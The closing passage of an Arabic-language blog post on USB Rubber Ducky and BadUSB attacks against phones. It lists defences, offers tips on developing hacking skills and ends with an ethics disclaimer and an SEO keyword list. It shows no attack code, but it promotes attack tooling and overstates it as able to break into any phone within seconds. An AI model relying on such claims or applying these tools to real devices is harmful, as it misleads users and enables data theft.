وإذا إنت مسؤول أمن معلومات بشركة، لازم تعمل awareness training للموظفين. علمهم إنو أي USB ممكن يكون خطير، حتى لو جاي من "قسم IT" أو "الإدارة". أي طلب غريب لازم يتأكدوا منه أول.
2. تعطيل OTG لما ما بتستخدمه:
معظم الهواتف الحديثة بتسمحلك تعطل OTG من الإعدادات. روح على Settings > Connected Devices > OTG، وعطله. فعّله بس لما بدك تستخدم keyboard أو فلاشة حقيقية، وبعدين عطله مرة تانية. هيك حتى لو حد وصل Rubber Ducky، ما رح يشتغل.
3. استخدام USB Data Blocker:
في جهاز صغير اسمه USB Data Blocker أو USB Condom (بيكلف 5-10 دولار). هاد الجهاز بتحطه بين الكيبل والتلفون، وبيسمح بس بمرور الكهرباء (للشحن)، بس بيمنع مرور البيانات. يعني بتقدر تشحن تلفونك من أي مكان (مطار، مقهى، محطة شحن عامة) بدون ما تخاف من Rubber Ducky أو juice jacking.
4. تفعيل USB Restricted Mode على iPhone:
iPhone عنده ميزة اسمها USB Restricted Mode. لما تفعلها، التلفون بيمنع أي وصول USB بعد ساعة من قفل الشاشة. يعني حتى لو حد سرق تلفونك أو حاول يوصل Rubber Ducky، ما رح يقدر إلا إذا فتح القفل أول. لتفعيلها: Settings > Face ID & Passcode > USB Accessories > Off.
5. استخدام Mobile Device Management (MDM):
إذا إنت مسؤول أمن معلومات بشركة، لازم تستخدم حل MDM زي Microsoft Intune أو VMware Workspace ONE. هاي الأنظمة بتسمحلك تمنع OTG على كل أجهزة الشركة، تراقب الأجهزة المتصلة، وتنبهك إذا في نشاط مشبوه. وكمان بتقدر تعمل remote wipe للجهاز إذا انسرق.
6. مراقبة الأجهزة المتصلة:
استخدم تطبيقات أمنية بتراقب الأجهزة المتصلة بالتلفون. في تطبيقات زي USB Device Info للأندرويد بتعطيك تنبيه كل ما جهاز USB جديد يتصل. إذا شفت keyboard اتصل وإنت ما وصلت keyboard، هاد مؤشر على هجوم.
7. خلي التلفون مقفول دايماً:
أبسط وأقوى حماية: خلي تلفونك مقفول لما ما بتستخدمه. Rubber Ducky ما بيقدر يعمل إشي على تلفون مقفول. استخدم PIN قوي (6 أرقام على الأقل)، أو بصمة، أو Face ID. وفعّل auto-lock بعد 30 ثانية أو دقيقة.
8. فحص الكيبلات بشكل دوري:
إذا عندك كيبلات كتيرة بالبيت أو المكتب، افحصهم بشكل دوري. شوف إذا في كيبل شكله غريب، أو أثقل من العادي، أو فيه شي إضافي. O.MG Cable بيشبه الكيبل العادي، بس إذا دققت، بتلاحظ إنو أثقل شوي وفيه chip صغير مخفي.
9. تدريب الموظفين على Physical Security:
إذا إنت مسؤول أمن معلومات، لازم تعمل تدريبات دورية للموظفين عن Physical Security. علمهم كيف يتعرفوا على USB مشبوه، كيف يتصرفوا لو لقوا فلاشة بموقف السيارات، وكيف يبلغوا عن أي نشاط مشبوه. في شركات كبيرة زي Google و Microsoft بيعملوا "USB drop tests" - بيتركوا فلاشات مصابة بمواقف السيارات ويشوفوا كم موظف رح يوصلها بجهازه. إذا الموظف وصلها، بياخد تدريب إضافي.
10. استخدام Endpoint Detection and Response (EDR):
أنظمة EDR زي CrowdStrike أو SentinelOne بتقدر تكتشف سلوك Rubber Ducky. بتراقب كل الأوامر إلي بتنفذ على الجهاز، وإذا شافت سلوك غريب (زي كتابة 1000 كلمة بالدقيقة)، بتنبهك فوراً وبتوقف الهجوم. هاي الأنظمة غالية (100-200 دولار للجهاز سنوياً)، بس للشركات الكبيرة، هي استثمار ضروري.
نصائح إضافية للمحترفين: كيف تطور مهاراتك
إذا وصلت لهون، معناها إنك جدي بتعلم Rubber Ducky. هاي نصائح إضافية رح تساعدك تصير محترف:
1. انضم لمجتمعات Hacking:
في مجتمعات كتيرة على Discord و Reddit مخصصة لـ Rubber Ducky و BadUSB. أشهرها: r/hacking، r/netsec، Hak5 Discord، وكمان في مجموعات عربية على Telegram. انضم لهاي المجتمعات، شارك أكوادك، تعلم من الآخرين، واسأل أسئلة. المجتمع هو أسرع طريقة للتعلم.
2. شارك بمسابقات CTF:
مسابقات Capture The Flag (CTF) هي أفضل طريقة لتطبيق مهاراتك. في مسابقات كتيرة بتحتوي تحديات Physical Security و BadUSB. مثلاً: DEF CON CTF، HackTheBox، TryHackMe. شارك بهاي المسابقات، حل التحديات، وتعلم من حلول الآخرين. وإذا بدك تتعلم أكتر عن Bug Bounty ومسابقات الأمن، عندنا مقال مفصل.
3. اقرأ كتب متخصصة:
في كتب ممتازة عن Physical Security و USB attacks. أنصحك بـ: "The Hardware Hacker" لـ Andrew Huang، "Practical IoT Hacking" لـ Fotios Chantzis، و "Hacking: The Art of Exploitation" لـ Jon Erickson. هاي الكتب رح تعطيك فهم عميق للموضوع، مش بس أكواد جاهزة.
4. ابني مختبر تجارب خاص:
اشتري أجهزة قديمة رخيصة (تلفونات، لابتوبات، تابلتات) واستخدمهم للتجارب. أنا عندي مختبر صغير فيه: 3 تلفونات أندرويد قديمة، 2 iPhone قديمة، لابتوب قديم، و Raspberry Pi. كل ما بدي أجرب كود جديد، بجربه على هاي الأجهزة. هيك بتقدر تجرب أي إشي بدون ما تخاف.
5. تابع الأخبار الأمنية:
تابع مواقع زي Bleeping Computer، The Hacker News، Krebs on Security، وكمان تابع قناة ومدونة Shadow Hacker طبعاً. كل يوم في ثغرات جديدة، تقنيات جديدة، وأدوات جديدة. لازم تظل محدث باستمرار.
6. ساهم بمشاريع Open Source:
في مشاريع كتيرة على GitHub متعلقة بـ Rubber Ducky. ساهم فيها: أضف أكواد جديدة، حسّن أكواد موجودة، اكتب documentation، أي إشي. المساهمة بـ Open Source رح تحسن مهاراتك وكمان رح تبني سمعة بالمجتمع.
الخاتمة
بالنهاية، حبيت أقولك إنو Rubber Ducky هو واحد من أخطر الأدوات بمجال أمن المعلومات. بثواني معدودة، بتقدر تخترق أي تلفون وتسرق كل البيانات. بس زي أي أداة قوية، لازم تستخدمها بمسؤولية.
أنا شخصياً استخدمت Rubber Ducky بمشاريع penetration testing كتيرة، وكل مرة بنبهر من قوته وفعاليته. بس كمان كل مرة بتذكر إنو هاد الإشي لازم يكون بإيدين أمينة. استخدمه لاختبار أنظمتك الخاصة، أو بإذن صريح من صاحب النظام. لا تستخدمه لأذية الناس أو سرقة بياناتهم.
الأكواد إلي شرحتها اليوم هي من أقوى الأكواد الموجودة حالياً بسنة 2026. بس تذكر إنو التكنولوجيا بتتطور باستمرار. Apple و Google بيحدثوا أنظمتهم باستمرار لسد الثغرات. فلازم إنت كمان تتعلم باستمرار وتطور مهاراتك. اقرأ، جرب، فشل، تعلم من أخطائك، وحاول مرة تانية.
وتذكر دايماً: هاي المعلومات لأغراض تعليمية وأمنية بس. استخدامها بشكل غير قانوني ممكن يوديك بمشاكل قانونية كبيرة. في دول كتيرة، مجرد امتلاك هاي الأدوات بدون ترخيص ممكن يعتبر جريمة. فكن مسؤول واستخدم معرفتك لحماية الأنظمة، مش لاختراقها. العالم محتاج ethical hackers يحموا الناس، مش hackers يخربوا حياتهم.
إذا عندك أي سؤال أو استفسار، اتركه بالتعليقات وأنا رح أرد عليك. وإذا المقال عجبك، شاركه مع أصحابك المهتمين بمجال أمن المعلومات. ولا تنسى تتابع قناة ومدونة Shadow Hacker لأحدث المقالات والشروحات الحصرية.
بالتوفيق، ونشوفكم بمقالات قادمة أقوى وأحلى. السلام عليكم ورحمة الله وبركاته.
Rubber Ducky 2026، USB Rubber Ducky، BadUSB attacks، Rubber Ducky للأندرويد، Rubber Ducky للايفون، أكواد Rubber Ducky، DuckyScript، keystroke injection، USB attacks، Flipper Zero، O.MG Cable، Bash Bunny، Digispark ATtiny85، Arduino Rubber Ducky، USB Ninja، اختراق الهواتف بـ USB، BadUSB Android، BadUSB iPhone، OTG attacks، USB keyboard emulation، HID attacks، Rubber Ducky payloads، Android USB hacking، iPhone USB hacking، USB data theft، USB backdoor، persistent USB attack، Rubber Ducky tutorial، كيف تعمل Rubber Ducky، Rubber Ducky DIY، build Rubber Ducky، USB security، USB protection، USB data blocker، USB condom، juice jacking protection، penetration testing USB، ethical hacking USB، USB Rubber Ducky شرح عربي، أدوات اختراق USB، Termux USB attacks، ADB attacks، USB debugging exploit، Android OTG hacking، iPhone Lightning attacks، USB restricted mode bypass، Rubber Ducky scripts، Hak5 Rubber Ducky، USB keystroke injection، physical security testing، social engineering USB، USB drop attacks
